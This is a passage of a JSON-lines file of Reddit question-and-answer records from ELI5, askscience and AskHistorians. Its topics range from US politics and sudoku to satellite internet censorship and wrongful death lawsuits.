"answers_urls": [[], [], ["http://www.cracked.com/article_19571_8-gadgets-that-lie-to-you-every-day.html"]]}
{"q_id": "6asvdo", "title": "what exactly is really going on in the american political scene right now?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6asvdo/eli5what_exactly_is_really_going_on_in_the/", "answers": {"a_id": ["dhh6lha", "dhh8qto"], "score": [11, 3], "text": ["We have a controversial president.  He didn't win the popular vote but because he won the right states to win, he beat his opponent.  Some argue that he's crass, sexist, and racist and doesn't know what he's doing.  Some argue that he's incredibly smart.  Some argue that he won because of Russian hacking.  Some argue that he has secret ties with Russia that dictate his actions.  Some argue that the Russian story is made up by his opponents.", "You're asking two questions:\n\n1) The United States political scene is Late-Stage-Capitalism/Corporatism as [warned by Dwight D. Eisenhower](_URL_3_) accelerated by the flood of money into politics with the dam break of Citizens United combined with a shift in the DNC to Clintonian 'third way' [neoLiberal](_URL_1_) focus coupled with the GOP's shift to [astroturfed](_URL_2_) Tea Party corporate protectionism/tax theft.\n\n2) The current Executive Administration has scandals based on complex relationships that are being [uncovered](_URL_0_) and a bellicose lack of interest in doing anything but denying and squelching questions.  As the House and Senate are dominated by GOP loyalists, investigations are being further denied and rebuffed."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.annotateddossier.com/", "https://www.theguardian.com/commentisfree/2016/nov/09/rise-of-the-davos-class-sealed-americas-fate", "https://www.theguardian.com/commentisfree/cifamerica/2010/oct/25/tea-party-koch-brothers", "https://www.youtube.com/watch?v=04P4zPzspuI"]]}
{"q_id": "64ozvl", "title": "why are puzzles like sudoku common in newspapers but they don't print math equations and problems for people to solve?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/64ozvl/eli5_why_are_puzzles_like_sudoku_common_in/", "answers": {"a_id": ["dg3x809", "dg44bj5"], "score": [22, 4], "text": ["Because of the audience you're able to address and please.\n\nA sudoku has fairly straight forward rules that reasonably anyone 10 or older can understand and follow. How far you get depends on the difficulty of the puzzle and the strategies that you've developed, but everyone can give it a good shot and tease their brain for a bit.\n\nOn the other hand; an algebraic equation requires a lot of not so straight forward rules and techniques you'd be unlikely to think up on your own meaning you've successfully filtered the population into one of three categories:\n\n1. I don't have a fucking clue what I'm doing\n2. I'm learning this in class right now and this is highly relevant\n3. It took me 3 minutes to remember basic math and then 30 secs to solve.\n\nThen there is the validation part; if you've successfully solved a sudoku or many other puzzles commonly found in the paper or a magazine you don't need an answer key; you can check your work yourself. For a math equation you require an answer key and an undefined amount of space for a proof in the inevitable event someone calls your answer wrong.\n\n", "Because gamification is a massive part of modern society. Converting traditional problem solving into something game-like is more engaging to the general public.\n\nJust look at all the [instagram posts like this](_URL_0_). It's just a standard maths question which many young people would not find interesting at all but because they've used images young people can relate to, they get thousands of views/comments.\n\n*side-note: I find it hilarious how many people still get the answers wrong but they're all adamant they got it right and everyone else is stupid for not saying the same answer as them.*"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://i.dailymail.co.uk/i/pix/2016/11/04/14/3A10B80D00000578-3905480-image-m-10_1478270652048.jpg"]]}
{"q_id": "212lmo", "title": "How will the Mars One astronauts look after themselves?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/212lmo/how_will_the_mars_one_astronauts_look_after/", "answers": {"a_id": ["cg90xj1", "cg9108m", "cg920jm", "cg923h7"], "score": [10, 31, 2, 3], "text": ["The international space station has basic medical tools in the floor of his central module. An operation table with a sterile environment can be improvised. This is good enough for basic surgery like removing an appendix, stopping bleedings or fixing a bone fracture without risking death from infections blood loss or suffocation.\n\nthe ISS is close enough to have medicinal robots remote controlled by doctors on the ground if the patient can not be moved. Some basic multi-purpose robots for are about to be tested there anyways.", "2 astronauts will receive extensive medical training in order to be able to treat minor and critical health problems, including first aid and use of the medical equipment that will accompany them to Mars. Meaning at least two crewmembers will be trained in each essential skill-set in case a member becomes ill. Their training and preparations will take all the time between their admittance to the program, and the start of their journey to Mars.\n\nSource: Wikipedia", "About the number of astronauts: There will be 4 on the 2025 mission, with 4 more following every 2 years after that. So there will be 16 after four missions, but they'll just keep going after that.  \n  \nThis is their official roadmap: _URL_0_", "Col. Chris Hadfield spoke at my company shortly after his return from the ISS in October; besides it being very inspirational to hear him talk, we had a Q & A session afterwards where one of the questions was on the same topic.\n\nCol. Hadfields response was that everyone needs to be a generalist, learning a bit of everything - one of the things he had to learn was dentistry. In the event of needing to do a root canal, he would've been able to do so - it might not be the same as going to a doctor/dentist/etc here on earth, but they can take care of the issue as needed.\n\nEdit to include: Next time /u/ColChrisHadfield does an AMA, I recommend checking it out; and if he is still on his book signing tour, you should go. Great stories, great personality - and meeting an astronaut (especially one as interesting as him) is just amazing."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.mars-one.com/mission/roadmap"], []]}
{"q_id": "1mw9q2", "title": "Is it possible for part of an ocean to be completely calm?", "selftext": "I was watching Life of Pi, and in some of the scenes the ocean is completely dead calm, not even so much as a small ripple.\n\nIs this possible for part of an ocean to be 100% glasslike calm?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1mw9q2/is_it_possible_for_part_of_an_ocean_to_be/", "answers": {"a_id": ["ccd7pvu", "ccddh8o"], "score": [27, 4], "text": ["Yes, the areas known as the [doldrums](_URL_1_) (5\u00b0N to 5\u00b0S) and [horse latitudes](_URL_0_) (30-35\u00b0 both N and S) can be essentially windless for days.  Back when all ships were powered by sail, unlucky crews could be stranded in the doldrums for weeks at a time.", "  Yes.\n\n  A completely calm sea contributed to the sinking of the Titanic.  The reason is that at night, waves breaking on icebergs helped the crew spot the icebergs.  Since there were no waves that night, the icebergs were much harder to see.\n\n\n_URL_0_\n\n_URL_1_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Horse_latitudes", "http://en.wikipedia.org/wiki/Doldrums"], ["http://www.encyclopedia-titanica.org/forums/collision-sinking-theories/9568-eerie-flat-calm-sea-proceeding-titanic-disaster.html", "http://en.wikipedia.org/wiki/Sinking_of_the_RMS_Titanic#Background"]]}
{"q_id": "9l80g7", "title": "what are the effects of thc being stored in fat cells for a long time?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9l80g7/eli5_what_are_the_effects_of_thc_being_stored_in/", "answers": {"a_id": ["e74qthy", "e757dlu", "e75dkq1"], "score": [21, 3, 8], "text": ["You can fail a screening test for THC is you haven't used in a while but your body recently used the fat in those fat cells for energy, releasing the THC into your blood.  You're not likely to notice, making the test result disappointing.", "As with other substances stored in fat cells, the THC will also pass into milk if a woman is breastfeeding a baby. ", "Since the other commenters have not pointed it out: THC is not stored in fat, it's metabolites of THC that are stored. THC-COOH is stored and it is not psychoactive. It will make you fail a drug test but it will not have an effect on your baby."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "3tau99", "title": "how do medical doctors decide what part of the body to specialize in? what makes them say to themselves \"hmm, i will become a doctor of the anus.\"?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3tau99/eli5_how_do_medical_doctors_decide_what_part_of/", "answers": {"a_id": ["cx4jhe5", "cx4k39z", "cx4kl1m", "cx4qb5x", "cx4yxfm"], "score": [30, 20, 4, 2, 2], "text": ["Well, it's not about body parts as much as categories of disease.\n\nWith the exception of ophthalmology, and dermatology (eyes, and skin), most specialties are multi-organ: \n\nFor example, you have Surgery, Obstetrics and gynecology, Pediatrics, Internal medicine (with sub specialties like cardiology, gastroenterology, endocrinology...), Psychiatry, Lab medicine, Pathology, ENT (Ear nose and throat), and Radiology. Forgive me if I missed anyone.\n\nIn all those cases, most don't deal with one single organ, but a system or collection of systems.\n\nDuring medical school, some people tend to gear towards some subjects more than others and that's how we decide on a specialty.", "They may decide to go into a specialty that just interests them (or challenges them) intellectually.  They may decide to go into a specialty because they think it will be lucrative financially.  They may pick one that they think offers a lot of interesting research opportunities.  They may pick one that is relatively unpopular, so that they will face less competition for grants/financial aid and research/internship opportunities.  They may pick one that their dad/uncle/mom/grandpa did.  Their parents may force them to choose a certain specialty.  They may be inspired by a favorite teacher to focus on a specialty.  They may choose something that they (or a family member or friend) suffered from so that they can aide in finding a cure.\n\nBasically, the same reasons any person chooses anything in life...", "I realize you are trying to be facetious, but it ultimately is about perspective. You can look at a gastroenterologist as an anus doctor or you can actually acknowledge they treat many fascinating diseases that span the entire digestive system. Physiology of digestion can be very interesting to some individuals, and then there is just the preference for procedures with a scope and being paid a lot. \n\nI think if you give some background on why you ask this can help us answer you better. For example, are you interested in the medical field or you just can't believe someone wants to be specialized in a field that appears to be gross.", "My ex is currently in med school. She chose her area (orthopedic surgery) based on her previous medical issues from sports in high school. She had/has knees issues and the doctors that worked with her inspired her to do the same. ", "Medical student here who will soon be making this decision.  \nI think for most, this decision has more to do with the type of work/workload, liability, hours, etc associated with each specialty rather than the specific body system being worked with. For me, the decision will boil down to interest in subject matter, how I am able to affect patients/types of relationships I will be able to develop with patients, and the ability to enjoy life outside of work(AKA not being on call 24/7).  For those reasons, I will probably not be a cardiothoracic surgeon, neurosurgeon, trauma surgeon, oncologist despite being very interested in the subject matter behind those specialties.  If I were to go into gastroenterology-become an \"anus doctor\"- I would probably find the digestive system and relative diseases fascinating, want relatively normal work weeks, be inclined to less stressful aspects of healthcare, and be ok with a lot of repetition from day to day.  It would have very little to do with my fondness of the human anus."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "uwix2", "title": "What causes peoples shoes to fly off when they are hit by vehicles?", "selftext": "I've seen this happen numerous times on Youtube and in pictures. Someone is hit by a car at high speed and their shoes fly off. An example _URL_0_ \n\n", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/uwix2/what_causes_peoples_shoes_to_fly_off_when_they/", "answers": {"a_id": ["c4z6rw6"], "score": [3], "text": ["Inertia.  The body accelerates from being struck.  The shoes fall off and stay closer to the point of impact due to inertia.  "]}, "title_urls": [], "selftext_urls": ["http://youtu.be/Nq5fUG2FILk?t=2m27s"], "answers_urls": [[]]}
{"q_id": "1vesua", "title": "How did Ted Kennedy's political career survive the Chappaquiddick incident?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1vesua/how_did_ted_kennedys_political_career_survive_the/", "answers": {"a_id": ["cerrhq8", "cessaxn"], "score": [19, 3], "text": ["This is not /r/Politics people. Please make sure you answer with a lot more than just your opinion.", "He was a Kennedy in Massachusetts in the late 1960s. \n\n_URL_0_\n\nHe was up for re-election in 1970. You can see that year his vote share took a dive, how much of that is to be blamed on Chapaquiddick I couldn't say, but basically if he can win in 1970 he has 6 years to move past the incident. Which evidently he did if you look at the vote share he got in 1976. \n\nBasically it comes down to it being very difficult to beat a Senate incumbent in a state that leans heavily towards their party. Kennedy in Massachusetts is probably one of the  more extreme examples you could think of having that kind of home field advantage. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Electoral_history_of_Ted_Kennedy"]]}
{"q_id": "23geai", "title": "what the fuck is going on at /r/ooer", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/23geai/eli5_what_the_fuck_is_going_on_at_rooer/", "answers": {"a_id": ["cgwqayf"], "score": [2], "text": ["holy crap, you were not kidding."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "9s8re9", "title": "how is the music industry dying but at the same time artists like drake, taylor swift, j cole etc. are racking in millions?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9s8re9/eli5_how_is_the_music_industry_dying_but_at_the/", "answers": {"a_id": ["e8mzqcx", "e8mzz7s", "e8n1j8j", "e8n6ud1", "e8nkbn0"], "score": [13, 2, 11, 12, 2], "text": ["It's not dying, it's just changing. Music as an industry will always exist because people will always want to be entertained. Artists no longer make most of their money from physical album sales, but instead will sell the album online for $0.99/track. Same ultimate endpoint, just a different way of getting there to stay with the times.", "It's dying from the inside out. Every avenue through which a creative person might take their insight, turn it in to music and get it heard is being shut down. Music in schools is being cut because school funding is cut and the 'less necessary' things are always the first to go. Record labels haven't invested in A & R for years because the money is no longer there. Instead they market musicians as if they were products, or only offer deals to artists who are already selling.\n\nThe upshot of this? The only kids that can afford to make music are ones whose parents can afford the private tuition. The only artists who get record deals are ones who are able to financially support themselves to the level that they're already selling albums by the hundreds or thousands.\n\nThe voices of the people who have very little in this world have always been brought to us via the medium of music. But today those voices are being strangled.", "The music industry is changing a lot. Instead of physical copies, streaming is becoming the main thing. Many artist now find it more profitable to release singles rather than albums. Drake releases singles that do very well streaming wise, which boost album sales, as 1,500 song streams count as one album sale. Spotify gave Drake a *ton* of promotion. So much so that a lot of people were getting annoyed by the excessive amount. Since he does well streaming, he rakes in money. This, however, is not really reflected in his touring, as, at least from what I've seen, he is struggling to fill arenas in some places. Taylor Swift does great on streaming sites, but she also has a very loyal fanbase who will actually buy her album. [In its first week, 'Reputation' Outsold Every Other Album On The Billboard 200 Combined.](_URL_0_) Her pure sales of the *reputation* album in the US alone are over 2.1 million. She's the only artist in history to have 4 albums sell over a million copies in their debut week. Very few people, like her and Adele, do well pure sales wise. This is reflected in her touring, as her current tour, a stadium tour, has been completely sold out. It's the highest grossing North American tour of all time, and by breaking the record, she actually surpassed her own previous tour, the 1989 tour. Idk about J. Cole, but he probably does great streaming wise.", "There's a classic economics paper called [The Economics of Superstars](_URL_0_) that actually gets directly at this question. The paper itself has some pretty gnarly math, but here's the basic idea:\n\nIt is very easy to copy music (and movies, and other performing arts), whether than means literal copies like vinyl records, digital streaming, or just performing a show that thousands of people in the same stadium can watch. Drake does a certain amount of work, and then potentially billions of people can consume the result with 0 additional costs. \n\nThis means that the market concentrates among a small number of \"superstars\" because people don't have to settle for second-best. If you offered to sell me a car that was \"like an Audi, but worse\", I might take you up on the deal, because presumably it also costs less. If you offered to play me a track from someone who is \"like Drake, but worse\", I'd say no way and just stream Drake instead without having to pay anything extra, because the copy was already dirt cheap. \n\nYou might not agree that Drake is the best, but through some combination of talent, promotion, and luck, many people think he's a better bet than some unknown or local act, so they opt to give him their streaming royalties every time. The end result is that the superstars capture a large amount of the money to be made from selling music, and everyone else is just treading water hoping they get to be a superstar someday. \n\nThe paper was written in 1981, long before digital music and streaming, but it's clear that these technological changes just enhance the phenomenon it describes. The fact that the paper is 37 years old also illustrates that the music industry has been \"dying\" forever (if by \"dying\" you mean that most aspiring artists lose money and fail to find an audience). The fact that Drake makes millions is the exact reason you could/should say that the music industry isn't dead yet. It's just operating how it always has. ", "It's become very top heavy. The biggest stars who have basically reached the level of a corporation do fine. They have multiple revenue streams. \n\nIt's the small to mid guys who suffer.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://www.google.com/amp/s/www.forbes.com/sites/brittanyhodak/2017/11/20/taylor-swifts-reputation-outsold-every-other-album-on-the-billboard-200-combined/amp/"], ["http://www.uvm.edu/pdodds/files/papers/others/1981/rosen1981a.pdf"], []]}
{"q_id": "e0xvqb", "title": "When an electron in an atom is excited, does its probability distribution instantly change from one shape to another, or is there a transitionary period?", "selftext": "If the latter, what does the distribution look like as it is shifting and how long does it take?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/e0xvqb/when_an_electron_in_an_atom_is_excited_does_its/", "answers": {"a_id": ["f8kb661", "f8kh6qh", "f8kqkp2", "f8kr809", "f8lboaq"], "score": [10, 5, 36, 22, 2], "text": ["No, it is not instant. Basically the shape of the orbital wobbles until it settles in its new shape, and it's this wobbling (movement of charge back and forth) that causes it to emit EM radiation.\n\nEdit: about halfway along this post I made a couple of years ago is a link to an animation on a German site which shows what I mean. _URL_0_", "_URL_0_\n\nIt's a continuous transition over a very short time. This article is able to monitor and reverse the transition.", "The electron's probability distribution is related to it's wavefunction. The time dependence of the wavefunction is governed by the Schrodinger equation, which is a first order differential equation in time. The solutions have smooth time dependence, so the probability distribution does not change instantly.  In real systems, there can be significant changes in time scales of nanoseconds, which is very fast in human terms, but the wavefunction still changes smoothly.", "The evolution of the wavefunction is continuous, it cannot instantly change.\n\n[This Reddit post has some excellent visualisations](_URL_0_) of a Rabi cycle.\n\nThe timescales for these events are typically measured in attoseconds, so millionths of millionths of millionths of seconds", "Consider a two-level quantum system where an electron can be in a ground state |g >  or an excited state |e > . The two-level system is coupled to a \"bath\" which represents the environment with some coupling constant \ud835\udefe which gives the excited state a lifetime of 1/\ud835\udefe.\n\nIf you apply an appropriately timed laser pulse resonant with the transition energy, the electron enters the excited state |e > . After this, the electron exponentially decays back to the ground state with the excited state amplitude decaying like e\\^(-\ud835\udefet). The wavefunction of the emitted photon looks like the derivative of this, and so also follows the same exponential shape. You can see simulations of what the wavefunctions look like over time during this excitation-decay process in the first figure of this notebook:\n\n[_URL_0_](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/askscience/comments/731yd9/does_porbital_transition_to_sorbital_by/?utm_medium=android_app&amp;utm_source=share"], ["https://www.nature.com/articles/s41586-019-1287-z"], [], ["https://www.reddit.com/r/chemistry/comments/9ffuny/a_1_s_electron_being_excited_into_a_2_pz_orbital/"], ["https://nbviewer.jupyter.org/github/qutip/qutip-notebooks/blob/master/examples/temporal-photon-scattering.ipynb"]]}
{"q_id": "3kw0ih", "title": "elon musk's space internet in relation to internet filters, censorship and national infrastructure", "selftext": "I'm referring to this which was posted on reddit earlier \n\n_URL_0_\n\nMy questions\n\n- does space wifi allow people in countries with authoritarian governments  unrestricted Internet access?\n\n- for example would someone in North Korea with wifi capable device have limitless access to the full web?\n\n- or in the UK at the opposite end, how would the government enforce its pornography filters on Internet from the sky?\n\n- would such a network undermine terrestrial companies like Comcast in the U.S.?\n\n- in Australia, we are undertaking large scale infrastructure development to deliver high speed internet through fiber. Does space Internet effectively make that an irrelevant undertaking?\n\n-----\n\nI don't know enough about technology or the Internet to understand how this plan would affect all of the above, but my basic understanding seems to be that it would be hugely disruptive \n\nELI5 space Internet  & amp; knock on effects! ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3kw0ih/eli5_elon_musks_space_internet_in_relation_to/", "answers": {"a_id": ["cv0zhew"], "score": [2], "text": [" >  does space wifi allow people in countries with authoritarian governments unrestricted Internet access?\n\nYes. Unless the country in question has extensive measures put in place to attack the frequencies used for that internet service, they can't really block it if Musk chooses to ignore their requests to censor it\n\n >  for example would someone in North Korea with wifi capable device have limitless access to the full web?\n\nMore or less, yes. Satellite internet has always had problems with bandwidth, which I'm not sure how exactly Musk plans on figuring out, but outside of that, yes, full access to the web\n\n >  or in the UK at the opposite end, how would the government enforce its pornography filters on Internet from the sky?\n\nThey could request that Musk put certain privacy filters in place, but if he doesn't there's not a whole lot they could do to put them in place against his will\n\n >  would such a network undermine terrestrial companies like Comcast in the U.S.?\n\ndoubtful. Unless Musk found a way to make his satellites capable of handling more bandwidth than any satellite ever created, it won't compete bandwidth wise with traditional services. It'll be for people in areas with only dialup, slow DSL, traditional satellite internet, and places where the internet is heavily restricted\n\n >  in Australia, we are undertaking large scale infrastructure development to deliver high speed internet through fiber. Does space Internet effectively make that an irrelevant undertaking?\n\nNope. the satellites would offer lower latency (time it takes you to send data to/from somewhere), but fiber optics can handle *far* more data at any given second than satellites can, so you'd be trading how much data you can get per second, for how fast you can get it. To compare, traditional satellite internet providers offer between 1-100GB of data a month, with speeds of 10-20mbps, and latency of roughly 200ms. Your fiber optic internet would likely have unlimited data, with speeds of 1gbps+, with latency of roughly 60-90ms. Musk's satellites will be lower, so their latency will be around 30-60ms, but if their bandwidth capabilities are somehow generations above what currently exists, you'll be far better off with your fiber internet"]}, "title_urls": [], "selftext_urls": ["http://gizmodo.com/elon-musks-space-internet-plan-is-moving-forward-1711008007"], "answers_urls": [[]]}
{"q_id": "26namc", "title": "why do so many people completely miss satire?", "selftext": "For example, the article published by the National Report saying solar panels drained the sun, so so many people thought it was serious? Is satire just grossly misunderstood?\n\n_URL_0_\n\nread the comments for lols", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/26namc/eli5why_do_so_many_people_completely_miss_satire/", "answers": {"a_id": ["chsmqja", "chsmsdq", "chssrh8"], "score": [4, 14, 2], "text": ["Tone is difficult to convey in text. Also, lots of people are uninformed.", "A key component of satire is knowledge. Without knowledge of the issue that is being satirized, a person has no idea what to make of it. ", "It's called Poe's law. No matter what you write, unless you put some kind of blatant reminder that what you're saying is humorous, there will be somebody who thinks you're serious. Usually that person will be dumb as a rock, but still. "]}, "title_urls": [], "selftext_urls": ["http://nationalreport.net/solar-panels-drain-suns-energy-experts-say/"], "answers_urls": [[], [], []]}
{"q_id": "4p0boz", "title": "why do parents of adult children get to file wrongful death lawsuits and get awarded money?", "selftext": "If I'm killed in a car crash, and let's say, for instance, a seat belt malfunction was to blame, then why would my parents then be allowed to sue the car company for monetary damages? My parents are not missing out on my income after my death, they have their own jobs. It doesn't make any sense to me. Shit happens, car crashes take lives, why do the survivors stand to benefit financially from something they had nothing to do with?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4p0boz/eli5why_do_parents_of_adult_children_get_to_file/", "answers": {"a_id": ["d4gzb9w", "d4gzg97", "d4h01xw", "d4h1943", "d4h1gnj", "d4h1kyt", "d4h1sv4", "d4h1y60", "d4h26mu", "d4h2gji", "d4h2mci", "d4h32sa", "d4h3595", "d4h3yh4", "d4h4cjf", "d4h4dqp", "d4h4iik", "d4h4sbb", "d4h4xs6", "d4h5eqw", "d4h5v8m", "d4h60j1", "d4h60ps", "d4h634o", "d4h6h9c", "d4h6umf", "d4h8cys", "d4hb2tk", "d4hckcn", "d4hfz0e", "d4hg5ys", "d4hn97z", "d4hnipf", "d4i1jv5", "d4i8so6"], "score": [18, 3, 11, 777, 6, 115, 10, 3, 13, 40, 4, 134, 2, 3, 2, 9, 4, 3, 2, 4, 2, 3, 2, 2, 2, 3, 2, 6, 2, 7, 2, 2, 2, 5, 2], "text": ["It's more of a punishment to the auto maker than missing income to the family. It adds incentive for the auto makers to investigate the malfunction and potentially recall vehicles to make them safer.", "Without a specific case to reference, it's tough to say, but the following is one possibility.\n\nThe parents are suing on behalf of the deceased individual's estate. Just because you're dead doesn't mean that the things that you're involved in stop moving. If you owe people money at the time of your death, then those leave a right to your estate. (all the stuff you left behind) If you die owing a lot of money to the hospital that took care of you after your death, your parents may sue on your behalf to get money to pay back the hospital. \n\nIn addition to the above, there may be a revenge aspect to it. They want to make the manufacturer pay for the death of a loved one. Ultimately it's up to the Judge and jury to decide who deserves to get what money and who deserves to pay how much. Just because ABC sued XYZ doesn't mean that ABC has a case, that XYZ is going to lose, or that ABC is ever actually going to get any money.", "If you have no next of kin, your assets revert up to your parents, and that includes any potential legal claims. ", "Are you single? If so, your parents would be next of kin, and vice versa. You are getting payment for emotional damages given by a faulty design. \n\nFor example, my grandfather was exposed to asbestos. He has been in a class action lawsuit that was recently awarded money. He has been dead for many years, so the money then goes on to the next of kin - all his children. My father is dead. So then his portion of the money goes to me and my siblings. \n\n\nYou can sue anyone for anything. You just have to figure out if it is worth it. ", "If the person in your hypo survived the accident but sustained serious, life-inhibiting injuries, wouldn't you say that he or she could then sue whoever was responsible?\n\nAlso, the executor of your estate may in fact be required to sue by your insurance company if someone is at fault.  ", " >   why do the survivors stand to benefit financially from something they had nothing to do with?\n\nA common misconception is that people get rich off of personal injury lawsuits.  In most cases, the bulk of the reward goes towards paying for medical costs and other losses.  In many cases, the amount of the award doesn't even make the injured party whole from the incident.", "So, you think that if a company makes a faulty product and someone dies from it, the company should not be held accountable?  Do you think when people die that there liabilities and personal business just goes away?\n\nSomeone has to hold companies accountable for when they make faulty products.  Someone has to help pay for a person's expenses if they died due to someone elses error.  Sure, they will be fined but that money would just go to the government.  Isnt that money better suited to go to the victim's family.\n\nYou're making a false assumption about them having nothing to do with it.  It is their child who was taken from them due to the error of a company that put a product out that their child used.  Yeah, money doesnt bring a person back but it will help take care of their liabilities plus provide some justice for the family for what occurred.", " >  why do the survivors stand to benefit financially from something they had nothing to do with?\n\nbecause you're wrong. allow me to explain. instead of parents/children, lets pretend we're talking employer/employee. so my employer spends a ton of money training me for 18+ years, invests a ton of money into training (education) and providing room and board while training. they are expecting the investment to pay off as a successful lifelong employee that should last until after the current executives retire.\n\nwe're really no different than a piece of machinery that poops and complains. if a very expensive piece of equipment breaks because of negligence you would expect the owners to sue for damages. this is what your parents do in a wrongful death suit", "To answer that question we have to understand the history of lawsuits for the dead. In Ye Olde England death was the end of a lawsuit. Naturally America being an English colony adopted the exact same system and standard. Over time the two systems drifted apart in areas for various reasons, but it was still true that death ended lawsuits. Now we enter the Industrial Revolution, where everyone is now working in abnormally dangerous factories. Now it seems a little unfair you could die because someone was being intentionally negligent, or reckless, and no one could sue them for that. It was literally more cost effective to make sure you died in an industrial accident than lived. That doesn't sit right with the concept of the law. So what happened is the legislatures began to enact statutes that punished people who would rather kill you than implement safety features. You see it's not about giving a windfall to one particular plaintiff, it's about punishing companies. It's not that your parents deserve the money because they need it, it's about punishing the company for being negligent or reckless.\n\nSo basically in Ye Olde days if you died that ended all of your lawsuits, even ones that were ongoing. \n\nNow your lawsuits, which are called civil actions, will be transferred to your estate that you leave behind. Your executor then has the option to pursue the litigation on behalf of your estate. For example let's assume had a will which designated everything from your estate would be donated to charity. Your executor could pursue the wrongful death claim, and assuming they win, your donation to a charity increases.\n\ntl;dr\nIt's ultimately about saying it's not fair that a company can kill you through negligent or reckless conduct and get away with it. ", "Our legal system recognizes that there is value in having your relationships with your loved ones.  When someone negligently or otherwise causes the death to a child or spouse, the surviving spouse/parents are deprived of the enjoyment of that relationship.  It is hard to put that into monetary terms, but there is no question that they suffer anguish and pain and in our legal system, that anguish and pain does count.  To deprive them of the ability to sue and receive compensation would be to permit negligent and bad actors to get away with their bad actions without suffering the real consequence of their actions.  \n\nThe other problem is that where there is death involved, the deceased has no rights.  You would have a situation where if someone just injures someone, they face financial consequences but if they kill them they do not.  That is a messed up incentive.  I read something about where in China or something  that is actually the case, and drivers will indeed try to kill someone after they have hit them so they won't be found liable for the financial penalties if the injured person lives.  ", "On a related note, you might want to consider the case of the **[Ford Pinto](_URL_0_)**, a notoriously dangerous car.  \n\nIn low speed crashes, the fuel tank was susceptible to being damaged, possibly leading to fires, injuries to people in the car, or even deaths.\n\nThe actions of Ford were highly controversial because they did an internal cost benefit analysis and concluded it was better, in terms of costs to the company, NOT to fix the car.  It was cheaper to give the families money rather than recall all the cars and fix the problem.\n\nIf parents of victims killed in car fires caused by the manufacturer's defect start suing them for a lot more than the usual settlement check, they may find that it's now more expensive to pay victims' families rather than just fix the cars.\n\nThe survivors' families may be trying to benefit financially, but many of them may be trying to change the company's behavior so that it's in their best interest to fix a mistake if it costs them less money.", "If you couldn't sue while dead, then it would be in the manufacturer's interest to make sure any accident in their car was fatal.  That's obviously a moral hazard.  \n\nI've heard about countries where drivers who hit pedestrians will back up to make sure they're dead, because tort laws make it financially superior to kill than to mame.  It's very important to allow dead people to sue.  ", "One reason is that you really don't want it to be much cheaper to kill someone than to injure them by accident. That's a perverse incentive.\n\n", "Because I spent half a million on that retard raising, clothing and keeping a roof over their head and you go and murder him? Oh boy, Bet your ass that I'm getting my money back. ", "A wrongful death suit is all about calculating how much money the deceased would have earned throughout the rest of their life, and then allocating it accordingly. \n\nThat makes a lot of sense of its filed by a spouse, or children, because one could argue that the money the deceased would have made would go to support those parties, and now those parties filing suit have themselves been damaged. They do the math. You make X money a year, you would have worked another 20 years, you might have received a promotion or two, what were your costs, etc...and they pop out a number of what money you would have made had you survived through an a average working career. \n\nParents can likely sue for the same reason, that the child's loss of earning have actually harmed them. Perhaps the child would've supported the parent? They'll also calculate losses for emotional damages, and loss of consortium (family relations). That's more likely for spouses, but it could be argued. \n\nBottom line, wrongful death suits are about showing someone was wrongly killed and that deprived the party filing the suit of the money that deceased would have made through their life if they survived. It's not about punishing the wrongdoer. ", "To answer this, you first need to know about a person's \"estate\".  The estate is everything you own like a house, car, money, etc.. but it also includes debt and other things that don't physically exist (this last bit is the important part, and we'll get there shortly).  While alive a person is in charge of their estate, however, when they die someone else becomes responsible for dividing it up among the \"beneficiaries\".\n\nYou can leave a will which states who is responsible for dealing with it ( An Executor) and how it should be divided.  However, many people don't, so there is standard law in place that says who and how it should be dealt with.  By default it goes to your closest living relatives, normally a spouse or parents.\n\nFinally, when wronged you have the right to bring a suit against the person who wronged you.  This is one of the things that doesn't physically exist that is part of the estate.  So even once dead, the people in charge of your estate can file this suit on your behalf.  Then any rewards from the suit would be paid to the estate.  Which is then divided up to the beneficiaries.\n\nTo go even deeper, if the person who wronged you dies, the suit can be brought against that person's estate.  So you would have the executor of both estates fighting each other.  This is why you might see what looks like two families suing one another after a drunk driving accident where everyone involved dies.  The families generally aren't suing one another, just the estates they're each responsible for.", "Your parents don't get to sue...your estate does.  You might be dead, but you can still benefit if someone damages you unlawfully.\n\nYour heirs control your estate, once the suit is paid off, it is divided amongst them.  If you are single and have no children and no will, your parents are your default legal heirs.  \n\n", "Whoever the next of kin is gets a person's estate. Sometimes that person is the spouse, sometimes someone else if the person isn't married. \n\nA dead person's estate may include certain types of legal claims, like those the estate can bring against someone who wrongfully caused their death (it would be pretty perverse if someone could sue for injury, but 